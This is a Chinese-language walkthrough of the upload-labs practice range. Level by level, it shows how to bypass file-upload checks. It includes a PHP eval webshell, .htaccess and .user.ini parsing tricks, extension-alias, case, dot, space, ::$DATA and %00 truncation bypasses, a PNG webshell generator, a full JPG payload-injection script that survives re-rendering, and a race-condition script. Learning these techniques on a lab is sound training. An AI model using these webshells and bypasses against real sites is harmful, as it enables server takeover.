0%

upload-labs靶场通关记录

Upload Labs 是一个基于 PHP 编写的开源靶场项目,专门用于模拟和研究文件上传漏洞。它包含多个关卡,每个关卡都模拟了不同的文件上传漏洞场景,旨在帮助用户全面了解文件上传漏洞的原理、利用方法和防御策略。

参考文章:

全面了解文件上传漏洞, 通关upload-labs靶场! - 亨利其实很坏 - 博客园

upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析 - 白小雨 - 博客园

文件上传漏洞之upload-labs靶场通关(20关) - iChet - 博客园

对content的过滤

**<?= ?><?php ?><script language=”php”> </script>**都可以标识php代码。

当文件内容中不能出现<?,<script language=”php”>也不能起作用,那么还可以将content进行base64编码,然后借助.htaccess文件解码并解析content。如下:

AddType application/x-httpd-php .jt
php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.jt

PASS-1

只有前端验证,所以我们先选择.jpg后缀的文件,绕过前端验证,再bp抓包修改后缀便可绕过检查。

选择文件exp.jpg其内容如下,bp抓包修改后缀为.php发送,上传成功

GIF89A   #这里这个不影响
<?php
@eval($_POST["shell"]);
?>

F12在查看器中找到上传文件的相对路径

image-20241015152329058

在蚁剑中连接成功

image-20241015152616491

MIME验证

添加了MIME信息验证,一般将Content-Type选项修改成image/jpegimage/pngimage/gif这三个中的一个即可。

image-20241015154351022

别名替换

添加了黑名单过滤,不允许上传 .asp .aspx .php .jsp后缀文件,可以通过别名绕过。

asp aspx jsp php的别名:

asa cer cdx
ashx asmx ascx
jspx jspf
php2 php3 php4 php5 phps phtml Apache服务器可以替换

wp

bp抓包,添加别名爆破

image-20241015163720337

根据Response状态,确定可用别名,成功上传

image-20241015163919606

Response中寻找返回的相对路径

image-20241015164714757

.htaccess

查看源码,发现黑名单过滤了几乎所有可用后缀,此时就要用到.htaccess了,注意.htaccess是一个文件。

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

.htaccessApache服务中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮助实现:网页301重定向,自定义404错误页面,改变文件拓展名,允许/阻止特定用户或者目录的访问,配置默认文档等。

​ 常用的.htaccess文件格式如下:

<FilesMatch "exp.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

SetHandler application/x-httpd-php的意思是设置当前目录的所有文件都使用php解析,那么无论上传什么文件,只要符合php语言代码规范,就会被当作php执行。

这一关我本地环境有问题,是在这里通关的。

.user.ini

引发.user.ini解析漏洞需要以下三个条件:

  • 服务器脚本语言为php
  • 服务器使用CGI/FastCGI模式
  • 上传目录下有可执行的php文件

.user.ini利用:

auto_prepend_file = exp.jpg

上传该.user.ini文件,再上传exp.jpg文件

大小写绕过

源码中没有strtolower()可以利用大小写绕过,strtolower()函数将大写字母转为小写字母。

Pass-0708

源码中没有trim()可以空格绕过,没有deldot()可以后缀加点绕过。

  • trim()函数会去除字符串中的空格
  • deldot()函数会删除文件名末尾的点

注意必须在windows环境下,php版本需为5.3版本,7.3版本不行。

​ 如果源码中deldot(),trim()依次存在用来过滤时,如下图,可以使用.php. .的方式绕过,经过两次过滤后剩下的为.php.依然可以绕过黑名单。(在Pass-10中利用此方法通关)

image-20241015225415994

反正就是分析源码,找到绕过方式,如果使用了两次trim()可能要多加一个空格。

::$DATA

​ 在Windows环境下,上传的文件后缀为.php::$DATA时,服务器上会生成一个后缀为.php的文件,其内容与后缀为.php::$DATA的文件的内容一样。

双写绕过

==Pass-11==

bp改后缀为.pphphp,过滤掉第一个php后,成功上传的文件后缀还是.php;如果改成.phphpp,过滤掉第一个php后,剩下的是.hpp,不可;如果是.phpphp这样,不是双写,不可。

图片马

​ 第14关的检查方式是,通过获取上传文件的内容的前两个字节来判断该文件的类型,也就是通过识别文件头判断文件类型。

image-20241017191720004

​ 第15关则是通过获取getimagesize()函数的返回结果来检查文件类型,getimagesize()函数的返回结果中包含文件大小和文件类型。

image-20241017191843665

16关是通过exif_imagetype()函数来识别文件头。

上面三种检查方法其实都差不多,都可以利用下面两种绕过方法绕过:

添加文件头

在文件的首行添加GIF89a表示为gif文件,添加PNG文件头表示为png文件

使用copy命令

cmd中,执行copy zyt.jpg + exp.php zyt.jpg命令

image-20241017190732155

通关步骤:

先上传下面文件

image-20241017191047498

获取文件路径后配合文件包含漏洞解析脚本

image-20241017191238563

file传参获取webshell

image-20241017191428286

二次渲染

==Pass-17==

本关会先检查文件类型,必须要是不被损坏gif,png,jpg文件,才能上传成功。
并且imagecreatefromjpeg()函数会对上传的文件进行二次渲染,保留下来的文件是二次渲染后的文件。
最后还要配合文件包含漏洞,解析脚本。

gif

直接比较渲染前后的两个文件,找到数据没有发生变化的部分,在渲染前文件中的该部分插入webshell即可。

通关步骤:

上传1.gif

image-20241017212528750

1.gif与二次渲染后的文件31494.gif比较,找到未变化部分,插入webshell

image-20241017212812152

上传修改后的1.gif,得到二次渲染后的文件32588.gif,现在这个文件中的webshell没有再被修改了

image-20241017212952403

配合文件包含漏洞成功解析脚本

image-20241017213048163

png

ALT+4查看模板运行结果

脚本:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

0传函数名,1传参数。

image-20241018210855348

jpg

<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

条件竞争

==Pass-18==

查看提示需要代码审计

image-20241018220600826

​ 使用move_uploaded_file()函数,将上传的文件保存到服务器,再进行判断是否是jpg、png、gif中的一种类型,如果在数组中就保存重命名,如果不在根据unlink()就直接删除

​ 代码他是先将图片上传上去,才开始进行判断后缀名、二次渲染。如果在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。

通关步骤:

上传<?php @eval($_POST["shell"]); ?>然后bp拦截,发送到Intruder

设置payload类型

image-20241018220215886

增多线程数

image-20241018220239756

开始攻击,然后运行脚本

import requests
url = "http://172.20.10.10/uploads/upload/1.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break

%00截断绕过

image-20241018230053056
  • 黑名单中没有过滤PHP,因此可以利用大写绕过
  • 通过move_upload_file()函数移动文件
    • 因此可以修改后缀为php/.php/.可以绕过黑名单,move_upload_file()函数会删除末尾的/.
    • 或者利用%00截断绕过
  • $file_name是通过POST传参获取的,bp抓包修改应POST参数后缀为PHP

最后再介绍一下%00截断绕过的方法

image-20241018232435030

发送上传成功后,打开图像链接

image-20241018232615034

成功解析脚本

image-20241018232640959